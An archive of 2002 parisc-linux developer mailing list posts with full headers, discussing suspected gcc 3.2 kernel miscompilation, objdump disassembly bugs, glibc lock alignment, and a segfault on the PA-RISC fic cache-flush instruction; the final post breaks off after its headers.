List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17092

> gcc-3.0_3.0.4-13 produces a working kernel, gcc-3.2-3.2.2-0pre0 produces
> a miscompiled kernel (faulty networking, causes kernel crash).

Just to reiterate Dave's point, this is not necessarily a compiler
problem. 

> I think it is no urban legend anymore ... :-/
> I've also see quite alot reports on p-l about miscompiled kernels with
> anything other than gcc-3.0.4, actually several months ago; so I thought
> these issues have been solved by now ...

you will also see several attempts from me to get more info about these
problems, since i have yet to reproduce this. No one has stepped forward
to provide the info to track this down...

please, follow the info at
http://www.parisc-linux.org/faq/kernelbug-howto.html to report where is
the crash, what is your config, etc.... just saying "it doesn't work"
will not help us fix it.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ["CSA Test Drive" <TestDrive@compaq.com>] FW: Some issues
Date: Wed, 11 Dec 2002 22:50:59 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <20021212065059.GQ21187@tausq.org>
References: <20021211224404.GC15219@systemhalted> <200212112305.gBBN5Bdj021432@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622019 18592 80.91.229.3 (22 Nov 2014 02:06:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:59 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>, bdale@gag.com,
	parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 23:47:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id E38A24829
	for <parisc-linux@parisc-linux.org>; Wed, 11 Dec 2002 23:46:59 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 41CBFCD64C; Wed, 11 Dec 2002 22:50:59 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200212112305.gBBN5Bdj021432@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17093

> The code doesn't seem to trap on a A500 which I believe is a PA8500.
> I think we need to look at bits 0..1 of the coprocessor configuration
> register to determine instruction validity.  See table 8-6 on page 8-11.

it does cause a trap actually, we just don't usually print it. 

FP assist exception at 0x10433
FP VZOUICxxxxCQCQCQCQCQCRMxxTDVZOUI ->
   00000000000000000000000001000000

i'm confused tho because that iaoq doesn't point where i thought it
might point. is this because of delayed exceptions?

(oh, as an aside, looks like there's a small objdump bug :-)
00010428 <ull2dbl>:
   10428:       0f d9 12 81     stw r25,-10(sr0,sp)
   1042c:       0f da 12 89     stw r26,-c(sr0,sp)
   10430:       2f c1 10 16     fldd -10(sr0,sp),fr22
   10434:       e8 40 d0 00     bve (rp)
   10438:       32 c2 aa 04     fcnv Disassembler botch.

(should be fcnv,udw,dbl %fr22,%fr4)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Solved: Kernel crash when loggin in via ssh
Date: Wed, 11 Dec 2002 23:32:15 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20021212073215.GA1141@tausq.org>
References: <20021211063321.GB10185@systemhalted> <Pine.LNX.4.44.0212112313290.861-100000@sal.ucc.ie>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622020 18595 80.91.229.3 (22 Nov 2014 02:07:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 12 00:27:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 228644829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Dec 2002 00:27:58 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id B390DCD64C; Wed, 11 Dec 2002 23:32:15 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0212112313290.861-100000@sal.ucc.ie>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17094

> It IS a gcc issue.
> 
> gcc-3.0_3.0.4-13 produces a working kernel, gcc-3.2-3.2.2-0pre0 produces
> a miscompiled kernel (faulty networking, causes kernel crash).
> I made NO updates whatsoever; same kernel configuration, just using gcc-3.0
> insted of gcc-3.2. I just make a make clean; make dep; make vmlinux ...

btw, i just built this: 

$ ssh -p 1022 -2 tausq@gsyprf10.external.hp.com
tausq@a500:~$ dmesg|grep gcc
Linux version 2.4.20-pa13 (tausq@a500) (gcc version 3.2.2 20021202 (Debian prerelease)) #12 SMP Wed Dec 11 23:02:01 PST 2002

still need to try 32-bit...
randolph


From - Thu Nov 08 21:25:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Solved: Kernel crash when loggin in via ssh
Date: Thu, 12 Dec 2002 09:36:24 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <CC14759C-0DAC-11D7-B504-0030656F07A2@esiee.fr>
References: <20021212000511.GH19331@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v548)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622020 18597 80.91.229.3 (22 Nov 2014 02:07:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:00 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>,
	Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 12 01:36:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C6F74829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Dec 2002 01:36:37 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id C1A9049BEA; Thu, 12 Dec 2002 09:36:31 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 2786749C15; Thu, 12 Dec 2002 09:36:24 +0100 (CET)
In-Reply-To: <20021212000511.GH19331@tausq.org>
X-Mailer: Apple Mail (2.548)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17095

Le jeudi, 12 d=E9c 2002, =E0 01:05 Europe/Paris, Randolph Chung a =E9crit =
:

>> gcc-3.0_3.0.4-13 produces a working kernel, gcc-3.2-3.2.2-0pre0=20
>> produces
>> a miscompiled kernel (faulty networking, causes kernel crash).
>
> Just to reiterate Dave's point, this is not necessarily a compiler
> problem.
I'm pretty interested to help finding out whether it is or not a=20
compiler problem.

I had the exact same problem that what was mentioned here, a couple of=20=

months ago, with both native and cross compiler (gcc-3.2).
Any attempt to login on the box via network led to a kernel crash.

I'll try to reproduce it to track down where the kernel crashed, since=20=

I don't remember it off hand.

Anyway, I'd be interested in learning what you guys may suspect as=20
other possible cause for this _weird_ behaviour...

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/=




From - Thu Nov 08 21:25:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ["CSA Test Drive" <TestDrive@compaq.com>] FW: Some issues
Date: Thu, 12 Dec 2002 12:15:20 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20021212121520.D32514@parcelfarce.linux.theplanet.co.uk>
References: <20021211224404.GC15219@systemhalted> <200212112305.gBBN5Bdj021432@hiauly1.hia.nrc.ca> <20021212065059.GQ21187@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622020 18598 80.91.229.3 (22 Nov 2014 02:07:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:00 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Carlos O'Donell <carlos@baldric.uwo.ca>, bdale@gag.com,
	parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 12 05:15:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F56E4829
	for <parisc-linux@parisc-linux.org>; Thu, 12 Dec 2002 05:15:27 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18MSFM-0008G1-00; Thu, 12 Dec 2002 12:15:20 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021212065059.GQ21187@tausq.org>; from randolph@tausq.org on Wed, Dec 11, 2002 at 10:50:59PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17096

On Wed, Dec 11, 2002 at 10:50:59PM -0800, Randolph Chung wrote:
> (oh, as an aside, looks like there's a small objdump bug :-)
> 00010428 <ull2dbl>:
>    10428:       0f d9 12 81     stw r25,-10(sr0,sp)
>    1042c:       0f da 12 89     stw r26,-c(sr0,sp)
>    10430:       2f c1 10 16     fldd -10(sr0,sp),fr22
>    10434:       e8 40 d0 00     bve (rp)
>    10438:       32 c2 aa 04     fcnv Disassembler botch.
> 
> (should be fcnv,udw,dbl %fr22,%fr4)

well, there's another one:

stw r25,-10(sr0,sp)

printing `sr0,' is misleading -- were not using sr0, we're using `short
addressing mode', it should be just:

stw r25,-10(sp)

i remember jsm pointing this out a couple of years ago.  basically for insns
which have a 2-bit s field, print nothing if it's zero.  sr0 should still be
pinted for insns with a 3-bit s field.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Solved: Kernel crash when loggin in via ssh
Date: Thu, 12 Dec 2002 11:52:36 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200212121652.gBCGqbQQ023486@hiauly1.hia.nrc.ca>
References: <20021212073215.GA1141@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622021 18599 80.91.229.3 (22 Nov 2014 02:07:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:01 +0000 (UTC)
Cc: xam@cs.ucc.ie, parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 12 09:52:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F2904829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Dec 2002 09:52:43 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gBCGqbot023488;
	Thu, 12 Dec 2002 11:52:38 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gBCGqbQQ023486;
	Thu, 12 Dec 2002 11:52:37 -0500 (EST)
In-Reply-To: <20021212073215.GA1141@tausq.org> from "Randolph Chung" at Dec 11, 2002 11:32:15 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17097

> $ ssh -p 1022 -2 tausq@gsyprf10.external.hp.com
> tausq@a500:~$ dmesg|grep gcc
> Linux version 2.4.20-pa13 (tausq@a500) (gcc version 3.2.2 20021202 (Debian prerelease)) #12 SMP Wed Dec 11 23:02:01 PST 2002

I plan to change BIGGEST_ALIGNMENT back to 64 bits on the 32 branch today
assuming that testing is successful.  The main branch was changed yesterday.
This affects the alignment of long doubles under hpux and possibly the
alignment of __atomic_lock_t types parisc-linux linux.

I have been testing revised glibc locking code.  It only requires integer
alignment for __atomic_lock_t types.  I am convinced this is the
correct solution.  The __attribute__ ((aligned(16))) doesn't always
do what you want.  Specifically, it doesn't work for stack locals, or
malloc'd data.  

There is still one gcc pthread test failure (pthread6) under investigation.
>From initial debugging, it doesn't appear that this fail is caused by the
locking code.

I had a lot of trouble testing the glibc fix until I realized you have
to rebuild gcc after the change.  It depends on the specifics of the lock
initializer.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fic problem
Date: Fri, 13 Dec 2002 04:27:13 -0800
Lines: 41
Approved: news@gmane.org
Message-ID: <9A0482A7BD2506488AD9417C93F3714FC27735@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622021 18602 80.91.229.3 (22 Nov 2014 02:07:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:01 +0000 (UTC)
To: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 13 05:27:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id 402144829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Dec 2002 05:27:25 -0700 (MST)
Original-Received: from xparelay1.ptp.hp.com (xparelay1.ptp.hp.com [15.1.28.62])
	by palrel11.hp.com (Postfix) with ESMTP id F1479600BED
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Dec 2002 04:27:16 -0800 (PST)
Original-Received: from xpabh3.ptp.hp.com (xpabh3.ptp.hp.com [15.1.28.63])
	by xparelay1.ptp.hp.com (Postfix) with ESMTP id D99C5E00368
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Dec 2002 04:27:16 -0800 (PST)
Original-Received: by xpabh3.ptp.hp.com with Internet Mail Service (5.5.2655.55)
	id <XPL99ZSA>; Fri, 13 Dec 2002 04:27:16 -0800
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17098

Hi people,

	I have an error with the use of fic asm instruction(see piece code
below). 
            I'm ask you if you have a tip do help me to solve this problem.

       buf = (char *)malloc(4096);
        if(!buf)
        {
                printf("\n malloc error!");
                return(1);
        }


        /* copy instr stream(s) to new page */
        start = (unsigned int *)&(label of an asm code);
        spot = (unsigned int *)buf;
        end = (unsigned int *)&(label of an asm code);

        while(start <= end)
        {
                *spot = *start;
                __asm__ __volatile__("fdc (%0)" :: "r" (spot) );
                __asm__ __volatile__("sync" ::);
                __asm__ __volatile__("fic (%0)" :: "r" (spot) );
(segmentation fault in this line)
                __asm__ __volatile__("sync" ::);
                spot++;
                start++;
        }

Thanks in advance,

-----------------------------------------------------------------------
              Leandro Marcondes Farinati
                    Software Developer

*   leandro.farinati@hp.com




From - Thu Nov 08 21:25:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fic problem
Date: Fri, 13 Dec 2002 12:45:18 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20021213124518.A10991@parcelfarce.linux.theplanet.co.uk>
References: <9A0482A7BD2506488AD9417C93F3714FC27735@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622021 18606 80.91.229.3 (22 Nov 2014 02:07:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:01 +0000 (UTC)
Cc: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
To: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 13 05:45:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9EC4A484D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Dec 2002 05:45:24 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18MpBu-0003G1-00; Fri, 13 Dec 2002 12:45:18 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <9A0482A7BD2506488AD9417C93F3714FC27735@xsp01.brazil.hp.com>; from leandro.farinati@hp.com on Fri, Dec 13, 2002 at 04:27:13AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17099

On Fri, Dec 13, 2002 at 04:27:13AM -0800, FARINATI,LEANDRO (HP-Brazil,ex1) wrote:
>                 __asm__ __volatile__("fdc (%0)" :: "r" (spot) );
>                 __asm__ __volatile__("sync" ::);
>                 __asm__ __volatile__("fic (%0)" :: "r" (spot) );
> (segmentation fault in this line)
>                 __asm__ __volatile__("sync" ::);

don't do it like this.  do it this way:

		__asm__ __volatile__("\n\
			fdc (%0)\n\
			sync\n\
			fic (%0)\n\
			sync\n"
			: : "r" (spot)
		);

that ensures that these 4 insns really are together.  you might want to
look at the generated assembly output for this function (objdump -dr
foo.o |less) and/or recompile the kernel with PRINT_USER_TRAPS turned
on so you get a register dump so you can debug this yourself.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: fic problem
Date: Fri, 13 Dec 2002 06:42:40 -0700 (MST)
Lines: 30
Approved: news@gmane.org
Message-ID: <200212131342.GAA14970@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622022 18636 80.91.229.3 (22 Nov 2014 02:07:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 13 06:42:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1A254829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Dec 2002 06:42:45 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel6.hp.com (Postfix) with ESMTP id 85F90D8E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Dec 2002 08:42:40 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id GAA14970
	for parisc-linux@lists.parisc-linux.org; Fri, 13 Dec 2002 06:42:40 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
